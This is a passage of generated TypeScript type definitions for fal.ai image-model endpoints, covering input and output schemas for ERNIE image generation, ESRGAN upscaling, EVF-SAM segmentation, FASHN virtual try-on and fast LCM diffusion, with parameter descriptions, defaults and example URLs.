*/ + prompt: string +} + +export type LoraWeight05Be29D6 = { + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 4 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string +} + +export type ImageSize9D7383A0 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiErnieImageLoraTurboAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiErnieImageLoraTurboAccelerationEnumKey = + (typeof inputFalAiErnieImageLoraTurboAccelerationEnum)[keyof typeof inputFalAiErnieImageLoraTurboAccelerationEnum] + +export const inputFalAiErnieImageLoraTurboOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiErnieImageLoraTurboOutputFormatEnumKey = + (typeof inputFalAiErnieImageLoraTurboOutputFormatEnum)[keyof typeof inputFalAiErnieImageLoraTurboOutputFormatEnum] + +export const inputFalAiErnieImageLoraTurboImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + square_uhd: 'square_uhd', + portrait_3_2: 'portrait_3_2', + landscape_3_2: 'landscape_3_2', + portrait_hd: 'portrait_hd', + landscape_hd: 'landscape_hd', +} as const + +export type InputFalAiErnieImageLoraTurboImageSizeKey = + (typeof inputFalAiErnieImageLoraTurboImageSize)[keyof typeof inputFalAiErnieImageLoraTurboImageSize] + +export type InputFalAiErnieImageLoraTurbo = { + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Enable NSFW safety checking on the generated images. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Classifier-free guidance scale. + * @minimum 1 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Number of denoising steps. Turbo model is optimized for 8 steps. + * @minimum 1 + * @maximum 20 + * @default 8 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Text prompt for image generation. Supports English, Chinese, and Japanese. + * @example A serene mountain landscape at sunset with golden light + * @type string + */ + prompt: string + /** + * @description The acceleration level to use for the image generation. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiErnieImageLoraTurboAccelerationEnumKey + /** + * @description If True, the image will be returned as a data URI instead of a URL. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Output image format. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiErnieImageLoraTurboOutputFormatEnumKey + /** + * @description Random seed for reproducibility. + */ + seed?: number | null + /** + * @description If True, the prompt will be enhanced using an LLM for more detailed results. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Negative prompt to guide what should not be in the image. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The LoRAs to use for image generation. You can use up to 3 LoRAs and they will be merged together to generate the final image. + * @default [] + * @type array | undefined + */ + loras?: LoraWeight05Be29D6[] + /** + * @description The size of the generated image. + * @default square_hd + */ + image_size?: ImageSize9D7383A0 | InputFalAiErnieImageLoraTurboImageSizeKey +} + +export type Image1F6Abd0F = { + width: number + url: string + /** + * @default image/jpeg + */ + content_type?: string | null + height: number +} + +export type OutputFalAiErnieImageLoraTurbo = { + /** + * @description Seed used for generation. + * @type integer + */ + seed: number + /** + * @description Timing information. + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description List of generated images. + * @type array + */ + images: Image1F6Abd0F[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSizeC31D58A2 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiErnieImageTurboAccelerationEnum = { + none: 'none', + regular: 'regular', + high: 'high', +} as const + +export type InputFalAiErnieImageTurboAccelerationEnumKey = + (typeof inputFalAiErnieImageTurboAccelerationEnum)[keyof typeof inputFalAiErnieImageTurboAccelerationEnum] + +export const inputFalAiErnieImageTurboOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiErnieImageTurboOutputFormatEnumKey = + (typeof inputFalAiErnieImageTurboOutputFormatEnum)[keyof typeof inputFalAiErnieImageTurboOutputFormatEnum] + +export const inputFalAiErnieImageTurboImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + square_uhd: 'square_uhd', + portrait_3_2: 'portrait_3_2', + landscape_3_2: 'landscape_3_2', + portrait_hd: 'portrait_hd', + landscape_hd: 'landscape_hd', +} as const + +export type InputFalAiErnieImageTurboImageSizeKey = + (typeof inputFalAiErnieImageTurboImageSize)[keyof typeof inputFalAiErnieImageTurboImageSize] + +export type InputFalAiErnieImageTurbo = { + /** + * @description Number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description Enable NSFW safety checking on the generated images. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Classifier-free guidance scale. + * @minimum 1 + * @maximum 20 + * @default 1 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Number of denoising steps. Turbo model is optimized for 8 steps. + * @minimum 1 + * @maximum 20 + * @default 8 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description Text prompt for image generation. Supports English, Chinese, and Japanese. + * @example A serene mountain landscape at sunset with golden light + * @type string + */ + prompt: string + /** + * @description The acceleration level to use for the image generation. + * @default 'regular' + * @example regular + * @type string | undefined + */ + acceleration?: InputFalAiErnieImageTurboAccelerationEnumKey + /** + * @description If True, the image will be returned as a data URI instead of a URL. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Output image format. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiErnieImageTurboOutputFormatEnumKey + /** + * @description Random seed for reproducibility. + */ + seed?: number | null + /** + * @description If True, the prompt will be enhanced using an LLM for more detailed results. + * @default true + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description Negative prompt to guide what should not be in the image. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The size of the generated image. + * @default square_hd + */ + image_size?: ImageSizeC31D58A2 | InputFalAiErnieImageTurboImageSizeKey +} + +export type ImageE8Bf9Aee = { + width: number + url: string + /** + * @default image/jpeg + */ + content_type?: string | null + height: number +} + +export type OutputFalAiErnieImageTurbo = { + /** + * @description Seed used for generation. + * @type integer + */ + seed: number + /** + * @description Timing information. + * @type object + */ + timings: { + [key: string]: number + } + /** + * @description List of generated images. + * @type array + */ + images: ImageE8Bf9Aee[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export const inputFalAiEsrganModelEnum = { + RealESRGAN_x4plus: 'RealESRGAN_x4plus', + RealESRGAN_x2plus: 'RealESRGAN_x2plus', + RealESRGAN_x4plus_anime_6B: 'RealESRGAN_x4plus_anime_6B', + RealESRGAN_x4_v3: 'RealESRGAN_x4_v3', + RealESRGAN_x4_wdn_v3: 'RealESRGAN_x4_wdn_v3', + RealESRGAN_x4_anime_v3: 'RealESRGAN_x4_anime_v3', +} as const + +export type InputFalAiEsrganModelEnumKey = + (typeof inputFalAiEsrganModelEnum)[keyof typeof inputFalAiEsrganModelEnum] + +export const inputFalAiEsrganOutputFormatEnum = { + png: 'png', + jpeg: 'jpeg', +} as const + +export type InputFalAiEsrganOutputFormatEnumKey = + (typeof inputFalAiEsrganOutputFormatEnum)[keyof typeof inputFalAiEsrganOutputFormatEnum] + +export type InputFalAiEsrgan = { + /** + * @description Model to use for upscaling + * @default 'RealESRGAN_x4plus' + * @type string | undefined + */ + model?: InputFalAiEsrganModelEnumKey + /** + * @description Url to input image + * @example https://storage.googleapis.com/falserverless/model_tests/remove_background/elephant.jpg + * @example https://storage.googleapis.com/falserverless/gallery/blue-bird.jpeg + * @example https://storage.googleapis.com/falserverless/model_tests/upscale/image%20(8).png + * @type string + */ + image_url: string + /** + * @description Tile size. Default is 0, that is no tile. When encountering the out-of-GPU-memory issue, please specify it, e.g., 400 or 200 + * @default 0 + * @type integer | undefined + */ + tile?: number + /** + * @description Upscaling a face + * @default false + * @type boolean | undefined + */ + face?: boolean + /** + * @description Output image format (png or jpeg) + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiEsrganOutputFormatEnumKey + /** + * @description Rescaling factor + * @minimum 1 + * @maximum 8 + * @default 2 + * @type number | undefined + */ + scale?: number +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image3932999F = { + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null +} + +export type OutputFalAiEsrgan = { + /** + * @description Upscaled image + * @type object + */ + image: Image3932999F +} + +export type InputFalAiEvfSam = { + /** + * @description Apply Gaussian blur to the mask. Value determines kernel size (must be odd number) + * @minimum 0 + * @maximum 50 + * @default 0 + * @type integer | undefined + */ + blur_mask?: number + /** + * @description Output only the binary mask instead of masked image + * @default true + * @type boolean | undefined + */ + mask_only?: boolean + /** + * @description Use GroundingDINO instead of SAM for segmentation + * @default false + * @type boolean | undefined + */ + use_grounding_dino?: boolean + /** + * @description Invert the mask (background becomes foreground and vice versa) + * @default false + * @type boolean | undefined + */ + revert_mask?: boolean + /** + * @description Expand/dilate the mask by specified pixels + * @minimum 0 + * @maximum 20 + * @default 0 + * @type integer | undefined + */ + expand_mask?: number + /** + * @description URL of the input image + * @example https://storage.googleapis.com/falserverless/web-examples/evf-sam2/evfsam2-cat.png + * @type string + */ + image_url: string + /** + * @description Areas to exclude from segmentation (will be subtracted from prompt results) + */ + negative_prompt?: string | null + /** + * @description The prompt to generate segmentation from. + * @example Cat in the middle of the image + * @type string + */ + prompt: string + /** + * @description Enable semantic level segmentation for body parts, background or multi objects + * @default false + * @type boolean | undefined + */ + semantic_type?: boolean + /** + * @description Fill holes in the mask using morphological operations + * @default false + * @type boolean | undefined + */ + fill_holes?: boolean +} + +export type FileB74652C3 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputFalAiEvfSam = { + /** + * @description The segmented output image + * @type object + */ + image: FileB74652C3 +} + +export const inputFalAiFashnTryonV15CategoryEnum = { + tops: 'tops', + bottoms: 'bottoms', + 'one-pieces': 'one-pieces', + auto: 'auto', +} as const + +export type InputFalAiFashnTryonV15CategoryEnumKey = + (typeof inputFalAiFashnTryonV15CategoryEnum)[keyof typeof inputFalAiFashnTryonV15CategoryEnum] + +export const inputFalAiFashnTryonV15ModerationLevelEnum = { + none: 'none', + permissive: 'permissive', + conservative: 'conservative', +} as const + +export type InputFalAiFashnTryonV15ModerationLevelEnumKey = + (typeof inputFalAiFashnTryonV15ModerationLevelEnum)[keyof typeof inputFalAiFashnTryonV15ModerationLevelEnum] + +export const inputFalAiFashnTryonV15ModeEnum = { + performance: 'performance', + balanced: 'balanced', + quality: 'quality', +} as const + +export type InputFalAiFashnTryonV15ModeEnumKey = + (typeof inputFalAiFashnTryonV15ModeEnum)[keyof typeof inputFalAiFashnTryonV15ModeEnum] + +export const inputFalAiFashnTryonV15GarmentPhotoTypeEnum = { + auto: 'auto', + model: 'model', + 'flat-lay': 'flat-lay', +} as const + +export type InputFalAiFashnTryonV15GarmentPhotoTypeEnumKey = + (typeof inputFalAiFashnTryonV15GarmentPhotoTypeEnum)[keyof typeof inputFalAiFashnTryonV15GarmentPhotoTypeEnum] + +export const inputFalAiFashnTryonV15OutputFormatEnum = { + png: 'png', + jpeg: 'jpeg', +} as const + +export type InputFalAiFashnTryonV15OutputFormatEnumKey = + (typeof inputFalAiFashnTryonV15OutputFormatEnum)[keyof typeof inputFalAiFashnTryonV15OutputFormatEnum] + +export type InputFalAiFashnTryonV15 = { + /** + * @description Category of the garment to try-on. 'auto' will attempt to automatically detect the category of the garment. + * @default 'auto' + * @type string | undefined + */ + category?: InputFalAiFashnTryonV15CategoryEnumKey + /** + * @description Sets random operations to a fixed state. Use the same seed to reproduce results with the same inputs, or different seed to force different results. + */ + seed?: number | null + /** + * @description URL or base64 of the garment image + * @example https://utfs.io/f/wXFHUNfTHmLjtkhepmqOUnkr8XxZbNIFmRWldShDLu320TeC + * @type string + */ + garment_image: string + /** + * @description Content moderation level for garment images. 'permissive' blocks only explicit content; 'conservative' also blocks underwear and swimwear. 'none' disables moderation only for accounts authorized to disable safety filters; for all other accounts it is treated as 'permissive'. + * @default 'permissive' + * @type string | undefined + */ + moderation_level?: InputFalAiFashnTryonV15ModerationLevelEnumKey + /** + * @description Disables human parsing on the model image. + * @default true + * @type boolean | undefined + */ + segmentation_free?: boolean + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Specifies the mode of operation. 'performance' mode is faster but may sacrifice quality, 'balanced' mode is a balance between speed and quality, and 'quality' mode is slower but produces higher quality results. + * @default 'balanced' + * @type string | undefined + */ + mode?: InputFalAiFashnTryonV15ModeEnumKey + /** + * @description Specifies the type of garment photo to optimize internal parameters for better performance. 'model' is for photos of garments on a model, 'flat-lay' is for flat-lay or ghost mannequin images, and 'auto' attempts to automatically detect the photo type. + * @default 'auto' + * @type string | undefined + */ + garment_photo_type?: InputFalAiFashnTryonV15GarmentPhotoTypeEnumKey + /** + * @description Output format of the generated images. 'png' is highest quality, while 'jpeg' is faster + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFashnTryonV15OutputFormatEnumKey + /** + * @description Number of images to generate in a single run. Image generation has a random element in it, so trying multiple images at once increases the chances of getting a good result. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_samples?: number + /** + * @description URL or base64 of the model image + * @example https://utfs.io/f/wXFHUNfTHmLj4prvqbRMQ6JXFyUr3IT0avK2HSOmZWiAsxg9 + * @type string + */ + model_image: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean +} + +export type File96E0B8D2 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiFashnTryonV15 = { + /** + * @example [{"url":"https://cdn.staging.fashn.ai/464eeeb1-4faa-4a2d-8c17-342d0d35c4c1/output_0.png"}] + * @type array + */ + images: File96E0B8D2[] +} + +export const inputFalAiFashnTryonV16CategoryEnum = { + tops: 'tops', + bottoms: 'bottoms', + 'one-pieces': 'one-pieces', + auto: 'auto', +} as const + +export type InputFalAiFashnTryonV16CategoryEnumKey = + (typeof inputFalAiFashnTryonV16CategoryEnum)[keyof typeof inputFalAiFashnTryonV16CategoryEnum] + +export const inputFalAiFashnTryonV16ModerationLevelEnum = { + none: 'none', + permissive: 'permissive', + conservative: 'conservative', +} as const + +export type InputFalAiFashnTryonV16ModerationLevelEnumKey = + (typeof inputFalAiFashnTryonV16ModerationLevelEnum)[keyof typeof inputFalAiFashnTryonV16ModerationLevelEnum] + +export const inputFalAiFashnTryonV16ModeEnum = { + performance: 'performance', + balanced: 'balanced', + quality: 'quality', +} as const + +export type InputFalAiFashnTryonV16ModeEnumKey = + (typeof inputFalAiFashnTryonV16ModeEnum)[keyof typeof inputFalAiFashnTryonV16ModeEnum] + +export const inputFalAiFashnTryonV16GarmentPhotoTypeEnum = { + auto: 'auto', + model: 'model', + 'flat-lay': 'flat-lay', +} as const + +export type InputFalAiFashnTryonV16GarmentPhotoTypeEnumKey = + (typeof inputFalAiFashnTryonV16GarmentPhotoTypeEnum)[keyof typeof inputFalAiFashnTryonV16GarmentPhotoTypeEnum] + +export const inputFalAiFashnTryonV16OutputFormatEnum = { + png: 'png', + jpeg: 'jpeg', +} as const + +export type InputFalAiFashnTryonV16OutputFormatEnumKey = + (typeof inputFalAiFashnTryonV16OutputFormatEnum)[keyof typeof inputFalAiFashnTryonV16OutputFormatEnum] + +export type InputFalAiFashnTryonV16 = { + /** + * @description Category of the garment to try-on. 'auto' will attempt to automatically detect the category of the garment. + * @default 'auto' + * @type string | undefined + */ + category?: InputFalAiFashnTryonV16CategoryEnumKey + /** + * @description Sets random operations to a fixed state. Use the same seed to reproduce results with the same inputs, or different seed to force different results. + */ + seed?: number | null + /** + * @description URL or base64 of the garment image + * @example https://storage.googleapis.com/falserverless/example_inputs/garment.webp + * @type string + */ + garment_image: string + /** + * @description Content moderation level for garment images. 'permissive' blocks only explicit content; 'conservative' also blocks underwear and swimwear. 'none' disables moderation only for accounts authorized to disable safety filters; for all other accounts it is treated as 'permissive'. + * @default 'permissive' + * @type string | undefined + */ + moderation_level?: InputFalAiFashnTryonV16ModerationLevelEnumKey + /** + * @description Disables human parsing on the model image. + * @default true + * @type boolean | undefined + */ + segmentation_free?: boolean + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Specifies the mode of operation. 'performance' mode is faster but may sacrifice quality, 'balanced' mode is a balance between speed and quality, and 'quality' mode is slower but produces higher quality results. + * @default 'balanced' + * @type string | undefined + */ + mode?: InputFalAiFashnTryonV16ModeEnumKey + /** + * @description Specifies the type of garment photo to optimize internal parameters for better performance. 'model' is for photos of garments on a model, 'flat-lay' is for flat-lay or ghost mannequin images, and 'auto' attempts to automatically detect the photo type. + * @default 'auto' + * @type string | undefined + */ + garment_photo_type?: InputFalAiFashnTryonV16GarmentPhotoTypeEnumKey + /** + * @description Output format of the generated images. 'png' is highest quality, while 'jpeg' is faster + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFashnTryonV16OutputFormatEnumKey + /** + * @description Number of images to generate in a single run. Image generation has a random element in it, so trying multiple images at once increases the chances of getting a good result. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_samples?: number + /** + * @description URL or base64 of the model image + * @example https://storage.googleapis.com/falserverless/example_inputs/model.png + * @type string + */ + model_image: string + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean +} + +export type FileFf29Dd7B = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiFashnTryonV16 = { + /** + * @example [{"url":"https://cdn.fashn.ai/4ddf1d78-63df-44bb-8e1f-355fff3a7b87/output_0.png"}] + * @type array + */ + images: FileFf29Dd7B[] +} + +export type ImageSize45F97527 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiFastLcmDiffusionFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFastLcmDiffusionFormatEnumKey = + (typeof inputFalAiFastLcmDiffusionFormatEnum)[keyof typeof inputFalAiFastLcmDiffusionFormatEnum] + +export const inputFalAiFastLcmDiffusionSafetyCheckerVersionEnum = { + v1: 'v1', + v2: 'v2', +} as const + +export type InputFalAiFastLcmDiffusionSafetyCheckerVersionEnumKey = + (typeof inputFalAiFastLcmDiffusionSafetyCheckerVersionEnum)[keyof typeof inputFalAiFastLcmDiffusionSafetyCheckerVersionEnum] + +export const inputFalAiFastLcmDiffusionImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFastLcmDiffusionImageSizeKey = + (typeof inputFalAiFastLcmDiffusionImageSize)[keyof typeof inputFalAiFastLcmDiffusionImageSize] + +export type InputFalAiFastLcmDiffusion = { + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default true + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 1.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + format?: InputFalAiFastLcmDiffusionFormatEnumKey + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 8 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The version of the safety checker to use. v1 is the default CompVis safety checker. v2 uses a custom ViT model. + * @default 'v1' + * @type string | undefined + */ + safety_checker_version?: InputFalAiFastLcmDiffusionSafetyCheckerVersionEnumKey + /** + * @description The prompt to use for generating the image. Be as descriptive as possible for best results. + * @example Self-portrait oil painting, a beautiful cyborg with golden hair, 8k. + * @type string + */ + prompt: string + /** + * @description + * The same seed and the same prompt given to the same version of Stable Diffusion + * will output the same image every time. + * + * @default null + */ + seed?: number | null + /** + * @description If set to true, the prompt will be expanded with additional prompts. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description + * An id bound to a request, can be used with response to identify the request + * itself. + * + * @default '' + * @type string | undefined + */ + request_id?: string + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 32 + * @default 6 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The negative prompt to use. Use it to address details that you don't want + * in the image. This could be colors, objects, scenery and even the small details + * (e.g. moustache, blurry, low resolution). + * + * @default '' + * @example cartoon, illustration, animation. face. male, female + * @example ugly, deformed + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The size of the generated image. + * @default square_hd + */ + image_size?: ImageSize45F97527 | InputFalAiFastLcmDiffusionImageSizeKey + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type ImageA1D8F6Ff = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + width: number +} + +export type OutputFalAiFastLcmDiffusion = { + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + timings: { + [key: string]: number + } + /** + * @description The generated image files info. + * @type array + */ + images: ImageA1D8F6Ff[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSizeF867854B = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiFastLcmDiffusionImageToImageFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFastLcmDiffusionImageToImageFormatEnumKey = + (typeof inputFalAiFastLcmDiffusionImageToImageFormatEnum)[keyof typeof inputFalAiFastLcmDiffusionImageToImageFormatEnum] + +export const inputFalAiFastLcmDiffusionImageToImageSafetyCheckerVersionEnum = { + v1: 'v1', + v2: 'v2', +} as const + +export type InputFalAiFastLcmDiffusionImageToImageSafetyCheckerVersionEnumKey = + (typeof inputFalAiFastLcmDiffusionImageToImageSafetyCheckerVersionEnum)[keyof typeof inputFalAiFastLcmDiffusionImageToImageSafetyCheckerVersionEnum] + +export const inputFalAiFastLcmDiffusionImageToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFastLcmDiffusionImageToImageImageSizeKey = + (typeof inputFalAiFastLcmDiffusionImageToImageImageSize)[keyof typeof inputFalAiFastLcmDiffusionImageToImageImageSize] + +export type InputFalAiFastLcmDiffusionImageToImage = { + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default true + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + format?: InputFalAiFastLcmDiffusionImageToImageFormatEnumKey + /** + * @description determines how much the generated image resembles the initial image + * @minimum 0.05 + * @maximum 1 + * @default 0.95 + * @type number | undefined + */ + strength?: number + /** + * @description + * If set to true, the aspect ratio of the generated image will be preserved even + * if the image size is too large. However, if the image is not a multiple of 32 + * in width or height, it will be resized to the nearest multiple of 32. By default, + * this snapping to the nearest multiple of 32 will not preserve the aspect ratio. + * Set crop_output to True, to crop the output to the proper aspect ratio + * after generating. + * + * @default false + * @type boolean | undefined + */ + preserve_aspect_ratio?: boolean + /** + * @description + * The same seed and the same prompt given to the same version of Stable Diffusion + * will output the same image every time. + * + * @default null + */ + seed?: number | null + /** + * @description If set to true, the prompt will be expanded with additional prompts. + * @default false + * @type boolean | undefined + */ + enable_prompt_expansion?: boolean + /** + * @description The URL of the image to use as a starting point for the generation. + * @example https://fal-cdn.batuhan-941.workers.dev/files/tiger/IExuP-WICqaIesLZAZPur.jpeg + * @type string + */ + image_url: string + /** + * @description The version of the safety checker to use. v1 is the default CompVis safety checker. v2 uses a custom ViT model. + * @default 'v1' + * @type string | undefined + */ + safety_checker_version?: InputFalAiFastLcmDiffusionImageToImageSafetyCheckerVersionEnumKey + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description + * The negative prompt to use.Use it to address details that you don't want + * in the image. This could be colors, objects, scenery and even the small details + * (e.g. moustache, blurry, low resolution). + * + * @default '' + * @example cartoon, illustration, animation. face. male, female + * @type string | undefined + */ + negative_prompt?: string + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 1.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The size of the generated image. + * @default square_hd + */ + image_size?: + | ImageSizeF867854B + | InputFalAiFastLcmDiffusionImageToImageImageSizeKey + /** + * @description + * If set to true, the output cropped to the proper aspect ratio after generating. + * + * @default false + * @type boolean | undefined + */ + crop_output?: boolean + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 8 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The prompt to use for generating the image. Be as descriptive as possible for best results. + * @example an island near sea, with seagulls, moon shining over the sea, light house, boats int he background, fish flying over the sea + * @type string + */ + prompt: string + /** + * @description + * An id bound to a request, can be used with response to identify the request + * itself. + * + * @default '' + * @type string | undefined + */ + request_id?: string + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 32 + * @default 6 + * @type integer | undefined + */ + num_inference_steps?: number +} + +export type Image74Bef113 = { + height: number + /** + * @default image/jpeg + */ + content_type?: string | null + url: string + width: number +} + +export type OutputFalAiFastLcmDiffusionImageToImage = { + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + timings: { + [key: string]: number + } + /** + * @description The generated image files info. + * @type array + */ + images: Image74Bef113[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSizeA0F2Dbf9 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiFastLcmDiffusionInpaintingFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFastLcmDiffusionInpaintingFormatEnumKey = + (typeof inputFalAiFastLcmDiffusionInpaintingFormatEnum)[keyof typeof inputFalAiFastLcmDiffusionInpaintingFormatEnum] + +export const inputFalAiFastLcmDiffusionInpaintingSafetyCheckerVersionEnum = { + v1: 'v1', + v2: 'v2', +} as const + +export type InputFalAiFastLcmDiffusionInpaintingSafetyCheckerVersionEnumKey = + (typeof inputFalAiFastLcmDiffusionInpaintingSafetyCheckerVersionEnum)[keyof typeof inputFalAiFastLcmDiffusionInpaintingSafetyCheckerVersionEnum] + +export const inputFalAiFastLcmDiffusionInpaintingImageSize = { + square_hd: 'square_hd', + square: 'square', + 